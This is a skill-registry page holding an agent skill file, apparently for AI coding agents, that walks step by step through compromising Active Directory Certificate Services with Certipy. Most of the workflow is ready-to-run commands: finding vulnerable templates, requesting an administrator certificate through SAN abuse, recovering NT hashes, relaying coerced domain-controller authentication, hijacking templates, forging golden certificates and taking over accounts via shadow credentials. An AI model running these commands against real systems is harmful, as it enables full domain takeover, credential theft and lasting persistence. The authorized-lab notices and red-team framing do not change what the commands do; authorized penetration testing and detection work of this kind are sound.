[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71A70KQ3KCPMEGMGADMXYCB":3,"skill-same:01M71A70KQ3KCPMEGMGADMXYCB":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71A70KQ3KCPMEGMGADMXYCB","cyber-exploiting-adcs-with-certipy",null,"Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-adcs-with-certipy\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"adcs","exploiting adcs with certipy","certipy","with","cyber exploiting adcs with certipy","escalation","red-team","esc8","golden","certificate","exploit","NIST","directory","active","esc1","apache","subdomain","team","cybersecurity","SAN","2026-11-10 10:12:30",false,"---\nname: cyber-exploiting-adcs-with-certipy\ndescription: \"Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: true\norigin_frontmatter: \"name: exploiting-adcs-with-certipy | description: Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - active-directory | - adcs | - certipy | - esc1 | - esc8 | - privilege-escalation | - pkinit | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.AA-05 |\"\nhide: true\n---\n\n> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting AD CS with Certipy\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.\n\n## Overview\n\nActive Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.\n\n**Certipy** (package `certipy-ad`, maintained by Oliver Lyak \u002F `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP\u002FRPC, requests and forges certificates, performs PKINIT\u002FSchannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k\u002FCertipy](https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy) and [SpecterOps \"Certified Pre-Owned\"](https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf).\n\n## When to Use\n\n- During internal penetration tests and red-team engagements where AD CS is in scope\n- When a low-privileged domain foothold needs a path to Domain Admin \u002F Domain Controller\n- To validate that certificate template ACLs and CA configuration are hardened\n- When testing detection coverage for certificate-based privilege escalation\n- During purple-team exercises to generate ESC1\u002FESC8 telemetry for blue-team tuning\n\n## Prerequisites\n\n- Authorized engagement scope that explicitly includes AD CS exploitation\n- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user\n- Network reachability to a Domain Controller (LDAP\u002F389, LDAPS\u002F636) and the CA host\n- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host\n- Install Certipy:\n  ```bash\n  # Recommended isolated install\n  pipx install certipy-ad\n  # Or with pip\n  pip install certipy-ad\n  # Verify\n  certipy --version\n  ```\n- For ESC8 relay you also need a coercion tool (Coercer\u002FPetitPotam) and reachable victim machine accounts\n\n## Objectives\n\n- Enumerate every CA, template, and enrollment endpoint in the forest\n- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal\n- Request a certificate impersonating a privileged target (ESC1 SAN abuse)\n- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)\n- Authenticate with a forged\u002Fissued certificate to recover a TGT and NT hash\n- Document each finding with evidence and remediation guidance\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |\n\n## Workflow\n\n### Step 1: Enumerate AD CS with `certipy find`\nCollect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.\n\n```bash\n# Full enumeration, only enabled templates, hide built-in admin ACEs\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -text -enabled -hide-admins\n\n# Output only templates Certipy considers vulnerable\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n\n# Authenticate with an NT hash instead of a password\ncertipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n```\nReview the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template\u002FCA name.\n\n### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)\nESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).\n\n```bash\ncertipy req \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \\\n    -ca 'CORP-CA' -template 'VulnUserTemplate' \\\n    -upn 'administrator@corp.local' \\\n    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'\n# -> saves administrator.pfx\n```\n\n### Step 3: Authenticate with the certificate via `certipy auth`\nUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.\n\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100\n# Output: a .ccache TGT and the recovered NT hash for administrator\n```\nIf PKINIT is unavailable, fall back to Schannel\u002FLDAP authentication:\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell\n```\n\n### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment\nESC8 abuses the AD CS web enrollment interface (`\u002Fcertsrv\u002F`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).\n\n```bash\n# Terminal 1: relay coerced auth into web enrollment, request a DC cert\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\nCertipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n```\n\n### Step 5: Exploit ESC4 — Template ACL hijack\nIf you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.\n\n```bash\n# Make the template vulnerable (save the original config first)\ncertipy template -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration\n# ... run Step 2 ESC1 request, then restore the saved configuration\n```\n\n### Step 6: Forge a Golden Certificate (post-compromise persistence)\nWith access to the CA's private key (e.g., via backup), forge certificates for any principal offline.\n\n```bash\n# Extract the CA certificate and private key from a compromised CA\ncertipy ca -backup -u 'admin@corp.local' -hashes :\u003Cnthash> \\\n    -ca 'CORP-CA' -dc-ip 10.0.0.100\n\n# Forge a certificate for any user using the CA key\ncertipy forge -ca-pfx 'CORP-CA.pfx' \\\n    -upn 'administrator@corp.local' \\\n    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'\n```\n\n### Step 7: Shadow Credentials shortcut\nIf you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim-dc$'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Certipy (ly4k) | Primary AD CS attack toolkit | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Certipy Wiki | Command reference and ESC explanations | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\u002Fwiki |\n| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| The Hacker Recipes — AD CS | Attack walkthroughs | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fad-cs |\n| Impacket ntlmrelayx | Alternative ESC8 relay | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n\n## ESC Vulnerability Reference\n\n| ESC | Misconfiguration |\n|-----|------------------|\n| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |\n| ESC2 | Any Purpose \u002F no EKU template usable as enrollment agent |\n| ESC3 | Enrollment Agent template with loose enroll rights |\n| ESC4 | Write access over a template (hijack into ESC1) |\n| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |\n| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |\n| ESC7 | Dangerous `Manage CA` \u002F `Manage Certificates` permissions |\n| ESC8 | NTLM relay to AD CS HTTP web enrollment |\n| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |\n| ESC10 | Weak certificate mapping registry settings |\n| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |\n| ESC13 | Issuance policy linked to a privileged group (OID group link) |\n| ESC15 | Application Policies abuse (CVE-2024-49019, \"EKUwu\") |\n| ESC16 | Security extension disabled CA-wide |\n\n## Validation Criteria\n\n- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates\u002FCAs\n- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`\n- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account\n- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate\n- [ ] Any modified template (ESC4) was restored to its original configuration\n- [ ] Each finding documented with command output, affected object, and remediation\n- [ ] Issued certificates and PFX files securely handled and removed at engagement close\n","> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting AD CS with Certipy\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.\n\n## Overview\n\nActive Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.\n\n**Certipy** (package `certipy-ad`, maintained by Oliver Lyak \u002F `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP\u002FRPC, requests and forges certificates, performs PKINIT\u002FSchannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k\u002FCertipy](https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy) and [SpecterOps \"Certified Pre-Owned\"](https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf).\n\n## When to Use\n\n- During internal penetration tests and red-team engagements where AD CS is in scope\n- When a low-privileged domain foothold needs a path to Domain Admin \u002F Domain Controller\n- To validate that certificate template ACLs and CA configuration are hardened\n- When testing detection coverage for certificate-based privilege escalation\n- During purple-team exercises to generate ESC1\u002FESC8 telemetry for blue-team tuning\n\n## Prerequisites\n\n- Authorized engagement scope that explicitly includes AD CS exploitation\n- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user\n- Network reachability to a Domain Controller (LDAP\u002F389, LDAPS\u002F636) and the CA host\n- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host\n- Install Certipy:\n  ```bash\n  # Recommended isolated install\n  pipx install certipy-ad\n  # Or with pip\n  pip install certipy-ad\n  # Verify\n  certipy --version\n  ```\n- For ESC8 relay you also need a coercion tool (Coercer\u002FPetitPotam) and reachable victim machine accounts\n\n## Objectives\n\n- Enumerate every CA, template, and enrollment endpoint in the forest\n- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal\n- Request a certificate impersonating a privileged target (ESC1 SAN abuse)\n- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)\n- Authenticate with a forged\u002Fissued certificate to recover a TGT and NT hash\n- Document each finding with evidence and remediation guidance\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |\n\n## Workflow\n\n### Step 1: Enumerate AD CS with `certipy find`\nCollect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.\n\n```bash\n# Full enumeration, only enabled templates, hide built-in admin ACEs\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -text -enabled -hide-admins\n\n# Output only templates Certipy considers vulnerable\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n\n# Authenticate with an NT hash instead of a password\ncertipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n```\nReview the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template\u002FCA name.\n\n### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)\nESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).\n\n```bash\ncertipy req \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \\\n    -ca 'CORP-CA' -template 'VulnUserTemplate' \\\n    -upn 'administrator@corp.local' \\\n    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'\n# -> saves administrator.pfx\n```\n\n### Step 3: Authenticate with the certificate via `certipy auth`\nUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.\n\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100\n# Output: a .ccache TGT and the recovered NT hash for administrator\n```\nIf PKINIT is unavailable, fall back to Schannel\u002FLDAP authentication:\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell\n```\n\n### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment\nESC8 abuses the AD CS web enrollment interface (`\u002Fcertsrv\u002F`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).\n\n```bash\n# Terminal 1: relay coerced auth into web enrollment, request a DC cert\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\nCertipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n```\n\n### Step 5: Exploit ESC4 — Template ACL hijack\nIf you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.\n\n```bash\n# Make the template vulnerable (save the original config first)\ncertipy template -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration\n# ... run Step 2 ESC1 request, then restore the saved configuration\n```\n\n### Step 6: Forge a Golden Certificate (post-compromise persistence)\nWith access to the CA's private key (e.g., via backup), forge certificates for any principal offline.\n\n```bash\n# Extract the CA certificate and private key from a compromised CA\ncertipy ca -backup -u 'admin@corp.local' -hashes :\u003Cnthash> \\\n    -ca 'CORP-CA' -dc-ip 10.0.0.100\n\n# Forge a certificate for any user using the CA key\ncertipy forge -ca-pfx 'CORP-CA.pfx' \\\n    -upn 'administrator@corp.local' \\\n    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'\n```\n\n### Step 7: Shadow Credentials shortcut\nIf you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim-dc$'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Certipy (ly4k) | Primary AD CS attack toolkit | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Certipy Wiki | Command reference and ESC explanations | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\u002Fwiki |\n| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| The Hacker Recipes — AD CS | Attack walkthroughs | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fad-cs |\n| Impacket ntlmrelayx | Alternative ESC8 relay | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n\n## ESC Vulnerability Reference\n\n| ESC | Misconfiguration |\n|-----|------------------|\n| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |\n| ESC2 | Any Purpose \u002F no EKU template usable as enrollment agent |\n| ESC3 | Enrollment Agent template with loose enroll rights |\n| ESC4 | Write access over a template (hijack into ESC1) |\n| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |\n| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |\n| ESC7 | Dangerous `Manage CA` \u002F `Manage Certificates` permissions |\n| ESC8 | NTLM relay to AD CS HTTP web enrollment |\n| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |\n| ESC10 | Weak certificate mapping registry settings |\n| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |\n| ESC13 | Issuance policy linked to a privileged group (OID group link) |\n| ESC15 | Application Policies abuse (CVE-2024-49019, \"EKUwu\") |\n| ESC16 | Security extension disabled CA-wide |\n\n## Validation Criteria\n\n- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates\u002FCAs\n- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`\n- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account\n- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate\n- [ ] Any modified template (ESC4) was restored to its original configuration\n- [ ] Each finding documented with command output, affected object, and remediation\n- [ ] Issued certificates and PFX files securely handled and removed at engagement close\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":44,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: exploiting-adcs-with-certipy | description: Enumerate and exploit Active Directory Certificate Services ESC1 through ESC16 misconfigurations with Certipy, including SAN abuse, NTLM relay to web enrollment (ESC8), and golden certificate forgery. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - active-directory | - adcs | - certipy | - esc1 | - esc8 | - privilege-escalation | - pkinit | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.AA-05 |","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills-labgated\u002Fcyber-exploiting-adcs-with-certipy",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-adcs-with-certipy",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-adcs-with-certipy",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-adcs-with-certipy","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-adcs-with-certipy\u002FSKILL.md",[],[69,92,116,146,175,194],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":39},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[77,78,22,79,80,81,82,83,84,85,86,87,88,89,90,91],"zoom out","zoom","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":39},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[99,100,79,101,102,103,104,105,106,107,108,85,109,87,110,111,112,113,114,115],"yuri shura","parallel","architecture review","planning","for","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":127,"publishedAt":39},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[122],{"categoryNo":123,"categoryName":124,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",[128,129,130,131,132,133,134,135,136,87,137,138,139,140,141,142,143,103,144,145],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":160,"publishedAt":39},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[152,155],{"categoryNo":153,"categoryName":154,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":156,"categoryName":157,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[161,89,162,128,79,163,164,165,103,166,167,168,169,170,171,172,173,174,85,87],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":39},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[182,183,184,185,186,187,188,189,190,87,191,110,192,193],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":212,"publishedAt":39},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before 